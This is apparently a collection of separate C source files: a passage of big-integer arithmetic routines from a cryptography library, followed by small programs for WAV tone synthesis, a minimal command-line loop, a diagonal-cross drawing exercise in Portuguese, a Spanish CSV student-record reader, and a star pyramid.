)[i] >> 1; if( i + 1 < nWords ) { t |= (SYMCRYPT_FDEF_INT_PUINT32( piSrc )[i + 1] << 31); } else { t |= (highestBit << 31); } SYMCRYPT_FDEF_INT_PUINT32( piDst )[i] = t; i++; } } VOID SYMCRYPT_CALL SymCryptFdefIntModPow2( _In_ PCSYMCRYPT_INT piSrc, SIZE_T exp, _Out_ PSYMCRYPT_INT piDst ) { SIZE_T expWords = exp / 32; // index of word with the partial mask SIZE_T expBits = exp % 32; // # bits to leave in that word UINT32 nWords = piDst->nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32; SYMCRYPT_ASSERT( piSrc->nDigits == piDst->nDigits ); if( piSrc != piDst ) { memcpy( SYMCRYPT_FDEF_INT_PUINT32( piDst ), SYMCRYPT_FDEF_INT_PUINT32( piSrc ), nWords * sizeof( UINT32 ) ); } if( expWords >= nWords ) { // exp is so large that Dst = Src is sufficient. goto cleanup; } for( SIZE_T i=expWords + 1; i < nWords; i++ ) { SYMCRYPT_FDEF_INT_PUINT32( piDst )[i] = 0; } if( expBits != 0 ) { SYMCRYPT_FDEF_INT_PUINT32( piDst )[expWords] &= ((UINT32) -1) >> (32 - expBits ); } else { SYMCRYPT_FDEF_INT_PUINT32( piDst )[expWords] = 0; } cleanup: ; } UINT32 SYMCRYPT_CALL SymCryptFdefIntGetBit( _In_ PCSYMCRYPT_INT piSrc, UINT32 iBit ) { SYMCRYPT_ASSERT( iBit < piSrc->nDigits * SYMCRYPT_FDEF_DIGIT_BITS ); return (((SYMCRYPT_FDEF_INT_PUINT32( piSrc)[iBit / 32]) >> (iBit % 32)) & 1); } UINT32 SYMCRYPT_CALL SymCryptFdefIntGetBits( _In_ PCSYMCRYPT_INT piSrc, UINT32 iBit, UINT32 nBits ) { UINT32 mainMask = 0; UINT32 result = 0; SYMCRYPT_ASSERT( (nBits > 0) && (nBits < 33) && (iBit < piSrc->nDigits * SYMCRYPT_FDEF_DIGIT_BITS) && (iBit + nBits <= piSrc->nDigits * SYMCRYPT_FDEF_DIGIT_BITS) ); mainMask = (UINT32)(-1) >> (32-nBits); // Get the lower word first (it exists since iBit is smaller than the max bit) result = SYMCRYPT_FDEF_INT_PUINT32(piSrc)[iBit/32]; // Shift to the right accordingly result >>= (iBit%32); // Get the upper word (if we need it) // Note: the iBit and nBits values are public if ((iBit%32!=0) && ( iBit/32 + 1 < piSrc->nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32 )) { result |= ( SYMCRYPT_FDEF_INT_PUINT32(piSrc)[iBit/32+1] << (32 - iBit%32) ); } // Mask out the top bits result &= mainMask; return result; } VOID SYMCRYPT_CALL SymCryptFdefIntSetBits( _In_ PSYMCRYPT_INT piDst, UINT32 value, UINT32 iBit, UINT32 nBits ) { UINT32 mainMask = 0; UINT32 alignedVal = 0; UINT32 alignedMask = 0; SYMCRYPT_ASSERT( (nBits > 0) && (nBits < 33) && (iBit < piDst->nDigits * SYMCRYPT_FDEF_DIGIT_BITS) && (iBit + nBits <= piDst->nDigits * SYMCRYPT_FDEF_DIGIT_BITS) ); // Zero out the not needed bits of the value mainMask = (UINT32)(-1) >> (32-nBits); value &= mainMask; // // Lower word // // Create the needed mask alignedMask = mainMask << (iBit%32); // Align the value alignedVal = value << (iBit%32); // Set the lower word first (it exists since iBit is smaller than the max bit) SYMCRYPT_FDEF_INT_PUINT32(piDst)[iBit/32] = (SYMCRYPT_FDEF_INT_PUINT32(piDst)[iBit/32] & ~alignedMask) | alignedVal; // // Upper word // if ((iBit%32!=0) && ( iBit/32 + 1 < piDst->nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32 )) { // Create the needed mask alignedMask = mainMask >> (32 - iBit%32); // Align the value alignedVal = value >> (32 - iBit%32); // Set the upper word SYMCRYPT_FDEF_INT_PUINT32(piDst)[iBit/32 + 1] = (SYMCRYPT_FDEF_INT_PUINT32(piDst)[iBit/32 + 1] & ~alignedMask) | alignedVal; } } UINT32 SYMCRYPT_CALL SymCryptFdefIntMulUint32( _In_ PCSYMCRYPT_INT piSrc1, UINT32 Src2, _Out_ PSYMCRYPT_INT piDst ) { UINT32 nWords = piDst->nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32; SYMCRYPT_ASSERT( piSrc1->nDigits == piDst->nDigits ); UINT64 c = 0; for( UINT32 i=0; i<nWords; i++ ) { c += SYMCRYPT_MUL32x32TO64( SYMCRYPT_FDEF_INT_PUINT32( piSrc1 )[i], Src2 ); SYMCRYPT_FDEF_INT_PUINT32( piDst )[i] = (UINT32) c; c >>= 32; } return (UINT32) c; } VOID SYMCRYPT_CALL SymCryptFdefIntMulSameSize( _In_ PCSYMCRYPT_INT piSrc1, _In_ PCSYMCRYPT_INT piSrc2, _Out_ PSYMCRYPT_INT piDst, _Out_writes_bytes_( cbScratch ) PBYTE pbScratch, SIZE_T cbScratch ) { SymCryptFdefIntMulMixedSize( piSrc1, piSrc2, piDst, pbScratch, cbScratch ); } VOID SYMCRYPT_CALL SymCryptFdefIntSquare( _In_ PCSYMCRYPT_INT piSrc, _Out_ PSYMCRYPT_INT piDst, _Out_writes_bytes_( cbScratch ) PBYTE pbScratch, SIZE_T cbScratch ) { UINT32 nS = piSrc->nDigits; UINT32 nD = piDst->nDigits; SymCryptFdefClaimScratch( pbScratch, cbScratch, SYMCRYPT_FDEF_SCRATCH_BYTES_FOR_INT_MUL( piDst->nDigits ) ); SYMCRYPT_ASSERT( 2*nS <= nD ); SymCryptFdefRawSquare( SYMCRYPT_FDEF_INT_PUINT32( piSrc ), nS, SYMCRYPT_FDEF_INT_PUINT32( piDst ) ); if( 2*nS < nD ) { SymCryptWipe( &SYMCRYPT_FDEF_INT_PUINT32( piDst )[2 * nS * SYMCRYPT_FDEF_DIGIT_NUINT32], (nD - 2*nS) * SYMCRYPT_FDEF_DIGIT_SIZE ); } } VOID SYMCRYPT_CALL SymCryptFdefRawMulC( _In_reads_(nDigits1 * SYMCRYPT_FDEF_DIGIT_NUINT32) PCUINT32 pSrc1, UINT32 nDigits1, _In_reads_(nDigits2 * SYMCRYPT_FDEF_DIGIT_NUINT32) PCUINT32 pSrc2, UINT32 nDigits2, _Out_writes_((nDigits1+nDigits2)*SYMCRYPT_FDEF_DIGIT_NUINT32) PUINT32 pDst ) { UINT32 nWords1 = nDigits1 * SYMCRYPT_FDEF_DIGIT_NUINT32; UINT32 nWords2 = nDigits2 * SYMCRYPT_FDEF_DIGIT_NUINT32; // Set Dst to zero SymCryptWipe( pDst, (nDigits1+nDigits2) * SYMCRYPT_FDEF_DIGIT_SIZE ); for( UINT32 i = 0; i < nWords1; i++ ) { UINT32 m = pSrc1[i]; UINT64 c = 0; for( UINT32 j = 0; j < nWords2; j++ ) { // Invariant: c < 2^32 c += SYMCRYPT_MUL32x32TO64( pSrc2[j], m ); c += pDst[i+j]; // There is no overflow on C because the max value is // (2^32 - 1) * (2^32 - 1) + 2^32 - 1 + 2^32 - 1 = 2^64 - 1. pDst[i+j] = (UINT32) c; c >>= 32; } pDst[i + nWords2] = (UINT32) c; } } VOID SYMCRYPT_CALL SymCryptFdefRawMul( _In_reads_(nDigits1*SYMCRYPT_FDEF_DIGIT_NUINT32) PCUINT32 pSrc1, UINT32 nDigits1, _In_reads_(nDigits2*SYMCRYPT_FDEF_DIGIT_NUINT32) PCUINT32 pSrc2, UINT32 nDigits2, _Out_writes_((nDigits1+nDigits2)*SYMCRYPT_FDEF_DIGIT_NUINT32) PUINT32 pDst ) { #if SYMCRYPT_CPU_AMD64 if( SYMCRYPT_CPU_FEATURES_PRESENT( SYMCRYPT_CPU_FEATURES_FOR_MULX ) ) { SymCryptFdefRawMulMulx( pSrc1, nDigits1, pSrc2, nDigits2, pDst ); } else { SymCryptFdefRawMulAsm( pSrc1, nDigits1, pSrc2, nDigits2, pDst ); } #elif SYMCRYPT_CPU_X86 | SYMCRYPT_CPU_ARM64 | SYMCRYPT_CPU_ARM SymCryptFdefRawMulAsm( pSrc1, nDigits1, pSrc2, nDigits2, pDst ); #else SymCryptFdefRawMulC( pSrc1, nDigits1, pSrc2, nDigits2, pDst ); #endif } VOID SYMCRYPT_CALL SymCryptFdefRawSquareC( _In_reads_(nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32) PCUINT32 pSrc, UINT32 nDigits, _Out_writes_(2*nDigits*SYMCRYPT_FDEF_DIGIT_NUINT32) PUINT32 pDst ) { UINT32 nWords = nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32; UINT32 m = 0; UINT64 c = 0; // Set Dst to zero SymCryptWipe( pDst, (2*nDigits) * SYMCRYPT_FDEF_DIGIT_SIZE ); // First Pass - Addition of the cross products x_i*x_j with i!=j for( UINT32 i = 0; i < nWords; i++ ) { m = pSrc[i]; c = 0; for( UINT32 j = i+1; j < nWords; j++ ) { // Invariant: c < 2^32 c += SYMCRYPT_MUL32x32TO64( pSrc[j], m ); c += pDst[i+j]; // There is no overflow on C because the max value is // (2^32 - 1) * (2^32 - 1) + 2^32 - 1 + 2^32 - 1 = 2^64 - 1. pDst[i+j] = (UINT32) c; c >>= 32; } pDst[i + nWords] = (UINT32) c; } // Second Pass - Shifting all results 1 bit left c = 0; for( UINT32 i = 1; i < 2*nWords; i++ ) { c |= (((UINT64)pDst[i])<<1); pDst[i] = (UINT32)c; c >>= 32; } // Third Pass - Adding the squares on the even columns and propagating the sum c = 0; for( UINT32 i = 0; i < nWords; i++ ) { // // Even column // m = pSrc[i]; c += SYMCRYPT_MUL32x32TO64( m, m ); c += pDst[2*i]; // There is no overflow on C because the max value is // (2^32 - 1) * (2^32 - 1) + 2^32 - 1 + 2^32 - 1 = 2^64 - 1 pDst[2*i] = (UINT32) c; c >>= 32; // // Odd column // c += pDst[2*i+1]; // There is no overflow on C because the max value is // 2^32 - 1 + 2^32 - 1 = 2^33 - 2 pDst[2*i+1] = (UINT32) c; c >>= 32; } } VOID SYMCRYPT_CALL SymCryptFdefRawSquare( _In_reads_(nDigits*SYMCRYPT_FDEF_DIGIT_NUINT32) PCUINT32 pSrc, UINT32 nDigits, _Out_writes_(2*nDigits*SYMCRYPT_FDEF_DIGIT_NUINT32) PUINT32 pDst ) { #if SYMCRYPT_CPU_AMD64 if( SYMCRYPT_CPU_FEATURES_PRESENT( SYMCRYPT_CPU_FEATURES_FOR_MULX ) ) { SymCryptFdefRawSquareMulx( pSrc, nDigits, pDst ); } else { SymCryptFdefRawSquareAsm( pSrc, nDigits, pDst ); } #elif SYMCRYPT_CPU_ARM64 | SYMCRYPT_CPU_ARM SymCryptFdefRawSquareAsm( pSrc, nDigits, pDst ); #elif SYMCRYPT_CPU_X86 SymCryptFdefRawMulAsm( pSrc, nDigits, pSrc, nDigits, pDst ); #else SymCryptFdefRawSquareC( pSrc, nDigits, pDst ); #endif } VOID SYMCRYPT_CALL SymCryptFdefIntMulMixedSize( _In_ PCSYMCRYPT_INT piSrc1, _In_ PCSYMCRYPT_INT piSrc2, _Out_ PSYMCRYPT_INT piDst, _Out_writes_bytes_( cbScratch ) PBYTE pbScratch, SIZE_T cbScratch ) { UINT32 nS1 = piSrc1->nDigits; UINT32 nS2 = piSrc2->nDigits; UINT32 nD = piDst ->nDigits; SymCryptFdefClaimScratch( pbScratch, cbScratch, SYMCRYPT_FDEF_SCRATCH_BYTES_FOR_INT_MUL( piDst->nDigits ) ); SYMCRYPT_ASSERT( nS1 + nS2 <= nD ); SymCryptFdefRawMul( SYMCRYPT_FDEF_INT_PUINT32( piSrc1 ), nS1, SYMCRYPT_FDEF_INT_PUINT32( piSrc2 ), nS2, SYMCRYPT_FDEF_INT_PUINT32( piDst ) ); if( nS1 + nS2 < nD ) { SymCryptWipe( &SYMCRYPT_FDEF_INT_PUINT32( piDst )[(nS1 + nS2) * SYMCRYPT_FDEF_DIGIT_NUINT32], (nD - (nS1 + nS2)) * SYMCRYPT_FDEF_DIGIT_SIZE ); } } PSYMCRYPT_INT SYMCRYPT_CALL SymCryptFdefIntFromDivisor( _In_ PSYMCRYPT_DIVISOR pdSrc ) { return &pdSrc->Int; } VOID SYMCRYPT_CALL SymCryptFdefIntToDivisor( _In_ PCSYMCRYPT_INT piSrc, _Out_ PSYMCRYPT_DIVISOR pdDst, UINT32 totalOperations, UINT32 flags, _Out_writes_bytes_( cbScratch ) PBYTE pbScratch, SIZE_T cbScratch ) { UINT32 W; UINT32 nBits; UINT32 nWords; UINT32 bitToTest; UINT64 P; UNREFERENCED_PARAMETER( totalOperations ); UNREFERENCED_PARAMETER( flags ); SYMCRYPT_CHECK_MAGIC( piSrc ); SYMCRYPT_CHECK_MAGIC( pdDst ); SYMCRYPT_ASSERT( piSrc->nDigits == pdDst->nDigits ); SymCryptFdefClaimScratch( pbScratch, cbScratch, SYMCRYPT_FDEF_SCRATCH_BYTES_FOR_INT_TO_DIVISOR( piSrc->nDigits ) ); // // Copy the Int. // SymCryptFdefIntCopy( piSrc, &pdDst->Int ); // // For an N-bit divisor M, and D-bit divisor digit size, // the value W is defined as // floor( (2^{N+D} - 1) / M } - 2^D // which is the largest W such that (W * M + 2^D * M )< 2^{N+D} // To compute W we use a binary search. // This can be optimized, but this is the simplest side-channel safe solution. // We can compute the upper bits of W * M + 2^D * M in a simple loop. // // For now we only compute a 32-bit W for a 32-bit digit divisor size. // nBits = SymCryptIntBitsizeOfValue( &pdDst->Int ); SYMCRYPT_ASSERT( nBits != 0 ); if( nBits == 0 ) { // Can't create a divisor from a Int whose value is 0 // We really should not have any callers which get here (it is a requirement that Src != 0) // We assert in CHKed builds // In release set the divisor to 1 instead SymCryptIntSetValueUint32( 1, &pdDst->Int ); } pdDst->nBits = nBits; nWords = (nBits + 31)/32; bitToTest = (UINT32)1 << 31; W = 0; while( bitToTest > 0 ) { W |= bitToTest; // Do the multiplication P = 0; for( UINT32 i=0; i<nWords; i++ ) { // Invariant: // P <= 2^{2D} - 2 which ensures the mul-add doesn't generate an overflow // P = floor( (W + 2^32)*M[0..i-1] / 2^{32*i} ) P += SYMCRYPT_MUL32x32TO64( W, SYMCRYPT_FDEF_INT_PUINT32( &pdDst->Int )[i] ); P >>= 32; P += SYMCRYPT_FDEF_INT_PUINT32( &pdDst->Int )[i]; } // We are interested in bit N+D, and P[0] is bit nWords*D, this shift brings the relevant bit to position 0 P >>= ((nBits+31) % 32) + 1; // If the bit is 1, W*M is too large and we reset the corresponding bit in W. W ^= bitToTest & (0 - ((UINT32)P & 1)); bitToTest >>= 1; } pdDst->td.fdef.W = W; SYMCRYPT_SET_MAGIC( pdDst ); } UINT32 SYMCRYPT_CALL SymCryptFdefRawMultSubUint32( _Inout_updates_( nUint32 + 1 ) PUINT32 pAcc, _In_reads_( nUint32 ) PCUINT32 pSrc1, UINT32 Src2, UINT32 nUint32 ) { // // pAcc -= pSrc1 * Src2 // BEWARE: this is only used by the DivMod routine, and works in Words rather than Digits // making optimizations hard. // UINT32 i; UINT64 tmul; UINT64 tsub; UINT32 c; tmul = 0; c = 0; for( i=0; i<nUint32; i++ ) { tmul += SYMCRYPT_MUL32x32TO64( pSrc1[i], Src2 ); tsub = (UINT64)pAcc[i] - (UINT32) tmul - c; pAcc[i] = (UINT32) tsub; c = (tsub >> 32) & 1; tmul >>= 32; } // Writing the last word is strictly speaking not necessary, but a really good check that things are going right. // We can remove the write, but still need the computation of c so it gains very little. tsub = (UINT64) pAcc[i] - (UINT32) tmul - c; pAcc[i] = (UINT32) tsub; c = (tsub >> 32) & 1; return c; } UINT32 SYMCRYPT_CALL SymCryptFdefRawMaskedAddSubdigit( _Inout_updates_( nUint32 ) PUINT32 pAcc, _In_reads_( nUint32 ) PCUINT32 pSrc, UINT32 mask, UINT32 nUint32 ) { UINT32 i; UINT64 t; t = 0; for( i=0; i<nUint32; i++ ) { t = t + pAcc[i] + (mask & pSrc[i]); pAcc[i] = (UINT32) t; t >>= 32; } return (UINT32) t; } UINT32 SYMCRYPT_CALL SymCryptFdefRawMaskedAdd( _Inout_updates_( nDigits*SYMCRYPT_FDEF_DIGIT_NUINT32 ) PUINT32 pAcc, _In_reads_( nDigits*SYMCRYPT_FDEF_DIGIT_NUINT32 ) PCUINT32 pSrc, UINT32 mask, UINT32 nDigits ) { return SymCryptFdefRawMaskedAddSubdigit( pAcc, pSrc, mask, nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32 ); } UINT32 SYMCRYPT_CALL SymCryptFdefRawMaskedSub( _Inout_updates_( nDigits*SYMCRYPT_FDEF_DIGIT_NUINT32 ) PUINT32 pAcc, _In_reads_( nDigits*SYMCRYPT_FDEF_DIGIT_NUINT32 ) PCUINT32 pSrc, UINT32 mask, UINT32 nDigits ) { UINT32 i; UINT64 t; UINT32 c; c = 0; for( i=0; i<nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32; i++ ) { t = (UINT64) pAcc[i] - (mask & pSrc[i]) - c; pAcc[i] = (UINT32) t; c = (UINT32)(t >>= 32) & 1; } return c; } VOID SYMCRYPT_CALL SymCryptFdefRawDivMod( _In_reads_(nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32) PCUINT32 pNum, UINT32 nDigits, _In_ PCSYMCRYPT_DIVISOR pdDivisor, _Out_writes_opt_(nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32) PUINT32 pQuotient, _Out_writes_opt_(SYMCRYPT_OBJ_NUINT32(pdDivisor)) PUINT32 pRemainder, _Out_writes_bytes_( cbScratch ) PBYTE pbScratch, SIZE_T cbScratch ) { UINT32 nWords = nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32; UINT32 activeDivWords = (pdDivisor->nBits + 8 * sizeof(UINT32) - 1) / (8 * sizeof( UINT32 ) ); UINT32 remainderWords = SYMCRYPT_OBJ_NUINT32( pdDivisor ); UINT32 cbScratchNeeded = (nWords+4) * sizeof( UINT32 ); PUINT32 pTmp = (PUINT32) pbScratch; UINT32 Qest; UINT32 Q; UINT32 c; UINT32 d; UINT32 shift; UINT32 X0, X1; UINT32 W; UINT64 T; UINT32 nQ; SYMCRYPT_ASSERT( cbScratch >= cbScratchNeeded ); SYMCRYPT_ASSERT_ASYM_ALIGNED( pbScratch ); if( nWords < activeDivWords ) { // // input is smaller in size than the significant size of the divisor, no division to do. // Note that both values in the if() statement are public, so this does not create a side channel. // // Set quotient to zero, and the remainder to the input value if( pQuotient != NULL ) { SymCryptWipe( pQuotient, nDigits * SYMCRYPT_FDEF_DIGIT_SIZE ); } if( pRemainder != NULL ) { SYMCRYPT_ASSERT( remainderWords >= nWords ); memcpy( pRemainder, pNum, nWords * sizeof( UINT32 ) ); SymCryptWipe( &pRemainder[nWords], (remainderWords - nWords) * sizeof( UINT32 ) ); // clear the rest of the remainder words } SymCryptFdefClaimScratch( pbScratch, cbScratch, cbScratchNeeded ); goto cleanup; } // // We have two zero words in front and two zero words behind the tmp value to allow unrestricted accesses. // We keep the explicit offset of 2 rather than adjust the pTmp pointer to avoid negative indexes which appear // to be buffer overflows, and cause trouble with unsigned computations of negative index values that overflow // to 2^32 - 1 on a 64-bit CPU. // pTmp[0] = pTmp[1] = 0; memcpy( &pTmp[2], pNum, nWords * sizeof( UINT32 ) ); pTmp[nWords + 2] = pTmp[nWords + 3] = 0; shift = (0 - pdDivisor->nBits) & 31; // # bits we have to shift top words to the left to align with the W value // We generate the quotient words one at a time, starting at the most significant position // The top (divWords - 1) words are always zero if( pQuotient != NULL ) { SymCryptWipe( &pQuotient[nWords - activeDivWords + 1], (activeDivWords - 1) * sizeof( UINT32 ) ); } nQ = nWords - activeDivWords + 1; // There is always at least one word of Q to be computed, so we can use a do-while loop which // also avoids the UINT32 underflow. do { nQ--; X0 = ( ((UINT64) pTmp[nQ + activeDivWords + 2] << 32) + pTmp[nQ + activeDivWords + 1] ) >> (32 - shift); X1 = ( ((UINT64) pTmp[nQ + activeDivWords + 1] << 32) + pTmp[nQ + activeDivWords + 0] ) >> (32 - shift); W = (UINT32) pdDivisor->td.fdef.W; T = SYMCRYPT_MUL32x32TO64( W, X0 ) + (((UINT64)X0) << 32) + X1 + ((W>>1) & ((UINT32)0 - (X1 >> 31))); Qest = (UINT32)(T >> 32); // At this point the estimator is correct or one too small, add one but don't overflow Qest += 1; Qest += SYMCRYPT_MASK32_ZERO( Qest ); c = SymCryptFdefRawMultSubUint32( &pTmp[nQ+2], SYMCRYPT_FDEF_INT_PUINT32( &pdDivisor->Int ), Qest, activeDivWords ); Q = Qest - c; d = SymCryptFdefRawMaskedAddSubdigit( &pTmp[nQ+2], SYMCRYPT_FDEF_INT_PUINT32( &pdDivisor->Int ), (0-c), activeDivWords ); SYMCRYPT_ASSERT( c == d ); SYMCRYPT_ASSERT( pTmp[nQ + activeDivWords+2] == (0 - c) ); if( pQuotient != NULL ) { pQuotient[nQ] = Q; } } while( nQ > 0 ); if( pRemainder != NULL ) { memcpy( pRemainder, pTmp+2, activeDivWords * sizeof( UINT32 ) ); SymCryptWipe( &pRemainder[activeDivWords], (remainderWords - activeDivWords) * sizeof( UINT32 ) ); } cleanup: return; // label needs a statement to follow it... } VOID SYMCRYPT_CALL SymCryptFdefIntDivMod( _In_ PCSYMCRYPT_INT piSrc, _In_ PCSYMCRYPT_DIVISOR pdDivisor, _Out_opt_ PSYMCRYPT_INT piQuotient, _Out_opt_ PSYMCRYPT_INT piRemainder, _Out_writes_bytes_( cbScratch ) PBYTE pbScratch, SIZE_T cbScratch ) { UINT32 nDigits = SYMCRYPT_OBJ_NDIGITS( piSrc ); SYMCRYPT_ASSERT( piQuotient == NULL || piQuotient->nDigits >= piSrc->nDigits ); SYMCRYPT_ASSERT( piRemainder == NULL || piRemainder->nDigits >= pdDivisor->nDigits ); SymCryptFdefRawDivMod( SYMCRYPT_FDEF_INT_PUINT32( piSrc ), nDigits, pdDivisor, piQuotient == NULL ? NULL : SYMCRYPT_FDEF_INT_PUINT32( piQuotient ), piRemainder == NULL ? NULL : SYMCRYPT_FDEF_INT_PUINT32( piRemainder ), pbScratch, cbScratch ); if ((piQuotient != NULL) && (piQuotient->nDigits > piSrc->nDigits)) { SymCryptWipe( &SYMCRYPT_FDEF_INT_PUINT32( piQuotient )[piSrc->nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32], (piQuotient->nDigits - piSrc->nDigits) * SYMCRYPT_FDEF_DIGIT_SIZE ); } if ((piRemainder != NULL) && (piRemainder->nDigits > pdDivisor->nDigits)) { SymCryptWipe( &SYMCRYPT_FDEF_INT_PUINT32( piRemainder )[pdDivisor->nDigits * SYMCRYPT_FDEF_DIGIT_NUINT32], (piRemainder->nDigits - pdDivisor->nDigits) * SYMCRYPT_FDEF_DIGIT_SIZE ); } }
C
#include <sys/stat.h> #include <sys/mman.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <math.h> unsigned int samplerate = 44100; #define channel 1 #define bitdepth 16 struct Wave{ int type; double frequency, velocity[2]; } sound[100]; double length = 3; void read_wave(FILE *fp){ char ch; int i = 0; double j; int flag = 0; double *hoge; while(1){ switch(ch = getc(fp)){ case EOF: return; case ';': ++i; break; case '<': flag |= 1; flag &= ~2; break; case '>': flag &= ~1; flag &= ~2; flag &= ~4; break; case '.': flag |= 2; j = 1; break; case ',': flag |= 4; flag &= ~2; j = 1; break; case '0' ... '9': hoge = (flag & 1 ? &(sound[i].frequency) : &(sound[i].velocity[(flag >> 2) & 1])); if(flag & 2) *hoge += (ch - '0') * (j /= 10); else *hoge = *hoge * 10 + (ch - '0'); } } } void write16bit(short *dest); int main(int argc, char *argv[]){ char *out_filename = NULL; if(!out_filename) out_filename = "a.wav"; FILE *fp = fopen(argv[1], "r"); read_wave(fp); //for(int i = 0; i < 10; ++i) printf("%f %f %f\n", sound[i].frequency, sound[i].velocity[0], sound[i].velocity[1]); int out = open(out_filename, O_CREAT | O_RDWR, S_IWUSR | S_IRUSR); int mapsize = length * samplerate * bitdepth / 8 * channel + 44; ftruncate(out, mapsize); char *map = mmap(NULL, mapsize, PROT_WRITE, MAP_SHARED, out, 0); ((char *)map)[0] = 'R'; ((char *)map)[1] = 'I'; ((char *)map)[2] = 'F'; ((char *)map)[3] = 'F'; ((unsigned int *)map)[1] = mapsize - 8; ((char *)map)[8] = 'W'; ((char *)map)[9] = 'A'; ((char *)map)[10] = 'V'; ((char *)map)[11] = 'E'; ((char *)map)[12] = 'f'; ((char *)map)[13] = 'm'; ((char *)map)[14] = 't'; ((char *)map)[15] = ' '; ((unsigned int *)map)[4] = 16; ((unsigned short *)map)[10] = 1; ((unsigned short *)map)[11] = channel; ((unsigned int *)map)[6] = samplerate; ((unsigned int *)map)[7] = samplerate * bitdepth / 8 * channel; ((unsigned short *)map)[16] = channel * bitdepth / 8; ((unsigned short *)map)[17] = bitdepth; ((char *)map)[36] = 'd'; ((char *)map)[37] = 'a'; ((char *)map)[38] = 't'; ((char *)map)[39] = 'a'; ((unsigned int *)map)[10] = mapsize - 44; memset(map + 44, 0, mapsize - 44); write16bit((short *)(map + 44)); close(out); munmap(map, mapsize); } void write16bit(short *dest){ for(int i = 0; i < 100; ++i){ double p = cos(2 * M_PI * sound[i].frequency * 440 / samplerate), q = sin(2 * M_PI * sound[i].frequency * 440 / samplerate); double x[2], y[2]; x[0] = 1; y[0] = 0; int t = 0; for(int j = 0; j < samplerate * length; ++j){ for(int k = 0; k < channel; ++k){ dest[j * channel + k] += y[t] * ( sound[i].velocity[0] * (1 - (double)j / samplerate / length) + sound[i].velocity[1] * ((double)j / samplerate / length) ) * ((1 << 15) - 1); } x[t ^ 1] = x[t] * p - y[t] * q; y[t ^ 1] = x[t] * q + y[t] * p; t ^= 1; } } }
C
#include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/wait.h> #include<readline/history.h> int main() { printf("command line - max size of your command is 50 characters\n"); while (1){ char in[50]; printf("->"); scanf("%[^\n]%*c", in); char* new_token[50]; int i = 0; new_token[i] = strtok(in, " "); while(new_token[i] != NULL){ ++i; new_token[i] = strtok(NULL, " "); } pid_t pid = fork(); if(pid==0){ execvp(new_token[0], new_token); }else{ wait(NULL); } } return 0; }
C
Escreva um programa que desenhe uma cruz nas diagonais utilizando a função void cruz(int N); O asterisco (carácter '*') deve ser usado para desenhar a cruz Hífen (carácter '-') deve ser usado como o separador. Input: Insira um numero > 2 para fazer uma cruz 4 Output: *--* -**- -**- *--* Input: Insira um numero > 2 para fazer uma cruz 7 Output: *-----* -*---*- --*-*-- ---*--- --*-*-- -*---*- *-----* #include <stdio.h> void cruz(int N); int main(void) { int N; printf("Insira um numero > 2 para fazer uma cruz\n"); scanf("%d", &N); cruz(N); return 0; } void cruz(int N){ int lesq, ldir; for ( lesq = 0 ; lesq < N; lesq++){ for (ldir = N; ldir != 0;ldir--){ if (lesq == ldir - 1 || N - ldir == lesq){ printf("*"); } else { printf("-"); } } printf("\n"); } }
C
#include <stdio.h> #include <stdlib.h> #include "Alumno.h" int main() { //IMPORTANTE: ABRIR ARCHIVO - MODIFICAR ARCHIVO - BORRAR ARCHIVO FILE* archivo; //para trabajar con archivos hay que crear la estructura FILES. Nos da acceso al archivo // char mensaje[50]; int i = 0; eAlumno* lista[10]; eAlumno* unAlumno; //todo en char porque el archivo es de tipo texto char id[10]; char nombre[50]; char apellido[50]; char nota[10]; archivo = fopen("MOCK_DATA.csv","r"); //abrir archivo en directorio especifico, para leer o escribir. Recibe dos cadenas, el primero es el PATH del archivo. Si pongo solo el nombre del archivo, se crea en el directorio del proyecto. El segundo es el modo de apertura ("r" o "w", etc) // lo asigno a "archivo" porque fopen devuelve un puntero a FILE*, si no existe el directorio devuelve NULL // if(archivo!=NULL) // { // printf("Archivo creado"); // } else // { // printf("Archivo no creado"); // } // fgets(mensaje,49,archivo); // falsa lectura, para que no printee la primera linea (la cabecera) fscanf(archivo, "%[^,],%[^,],%[^,],%[^\n]\n", id, nombre, apellido, nota); //id, nombre, ap, nota ya apuntan a memoria porque son arrays. no se pone * ni & //"%[^,]," -----> se traduce a "lee hasta la coma y excluila //feof() devuelve TRUE o FALSE (0 o 1) si encontro o no el final /* SIN ESTRUCTURA */ // while(!feof(archivo)) // { // if(feof(archivo)) // break; //// fgets(mensaje,49,archivo); // fscanf(archivo, "%[^,],%[^,],%[^,],%[^\n]\n", id, nombre, apellido, nota); // printf("%s--%s--%s--%s\n", id, nombre, apellido, nota); // i++; // } // fprintf(archivo, "El dia esta lindo"); /* ESTRUCTURA */ printf("***** CON ESTRUCTURA *****\n"); while(!feof(archivo)) { fscanf(archivo, "%[^,],%[^,],%[^,],%[^\n]\n", id, nombre, apellido, nota); unAlumno = new_Alumno_Parametros(atoi(id),nombre,apellido,atof(nota)); //--> hablo de malloc IMPORTANTE declarlo en while, porque asi pide memoria para CADA dato ((esto es un encapsulamiento de malloc)) //setId(unAlumno, 7); //para modificar id *(lista+i) = unAlumno; //el * primero referencia el dato y no la memoria i++; } fclose(archivo); for(i=0;i<10;i++) { //lista[i] = lista+i porque en ambos casos i se incrementa,uno es para vectores y otro aritmetica de punteros unAlumno = *(lista+i); printf("%d - %s - %s - %.2f\n",getId(unAlumno), (*(lista+i))->nombre, (*(lista+i))->apellido, (*(lista+i))->nota); } return 0; }
C
#include<stdio.h> int main(int argc, char **argv){ if(argc != 2){return 1;} int wys = atoi(argv[1]); int i, j, k; for(i=1, k=1;k<= wys;i+=2,k++){ for(j=(wys*2)-i;j>0;j-=2){ printf(" "); } for(j=0;j<i;j++){ printf("*"); } printf("\n"); } return 0; }
C
